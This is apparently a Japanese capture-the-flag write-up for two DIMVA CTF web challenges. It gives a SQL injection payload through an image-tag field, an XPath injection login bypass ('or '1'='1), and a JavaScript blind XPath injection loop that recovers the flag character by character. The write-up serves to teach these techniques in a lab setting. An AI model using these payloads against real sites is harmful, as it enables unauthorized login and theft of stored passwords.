DIMVA CTFに参加していた。

私のチーム(Epsilon Delta)は850ポイントで17位だった。

Web 100

画像アップローダーが用意されており、どうにかこうにかする問題。

はじめにいくつか画像が用意されており、パスワードを入力しないと閲覧できない画像があったため、そのパスワードを求める問題と推察される。

各画像にはタグがついており、同じタグを持つ写真を一覧で見れる。

しかし、シングルクオートの入ったタグの場合は一覧ページでエラーが発生していたため、SQLインジェクションがあるとわかった。

画像をアップロードした際、画像のコメントがタグになって登録されるので、そこにSQLインジェクションを埋め込む。

' union all select password from pictures--

その後、一覧ページを閲覧することでパスワードが入手でき、c0ffeeからはじまるパスワードがFlagであると判明した。

c0ffee29e34ad42d38cbe236913c911a

パスワード付きの画像はこんな感じだった。

SONY DSC

素直でわかりやすい問題だったように思う。

Web 200

普通にアクセスすると

10
'user' and/or 'password' parameters missing, please provide an xml parameter of the following form to login: <login><user>(base64-encoded username)</user><password>(base64-encoded password)</password></login>

ってのが返って来る。

一日近く、urlにログイン用xmlを足したり、ファイルとして送信したり、送信するパケットのいろんなところに埋め込んだりして悩んだ。。。

コンテスト終了直前になって、/?xml=…とすればログインできることに気づく。

xml parameterってのが素直にxmlって名前のリクエストパラメータだったのに、そこに気づくまでに一日かかって英語の壁を感じる。

これがわかればあとは解くだけ。

とりあえず色々試していると、以下のレスポンスが返って来たため、XPathへのインジェクションだとわかった。

 Error during login: Query: //User[UserName/text()='' and Password/text()='' '... ........................................................^^^ Invalid query somewhere around here (I think)

「’ or ‘1’=’1」とかしてログインに成功すると、htmlのコメントで「users.xml~が残ってるからあとで消すように」と書かれているのでアクセスしてみる。

xml形式のユーザーデータがあり、「c0ffeefa7745f449c26000a2612affec」というデータがあったので、それをFlagとして送信したが失敗。

どうやらuser.xml~は古いデータらしく、現在は別のものに置き換わっている模様。

なのでblind injectionを利用して現在のデータからFlagを取得する。

var search = "c0ffee";
 
var test = function(next) {
	$.ajax({
		url: "/",
		data: {
			user: "",
			password: Base64.encode("' | //User[contains(.,'" + search + next)
		}
	}).done(function(data) {
		search += next
		nextTest();
	});
};
 
var nextTest = function() {
	for (var i="a".charCodeAt(0);i<="z".charCodeAt(0);++i) {
		test(String.fromCharCode(i));
	}
	for (var i=0;i<=9;++i) {
		test(i);
	}
};

以下のFlagが得られる。

c0ffee153dbc077ea80f4e697a63ec1e

Accepted!!!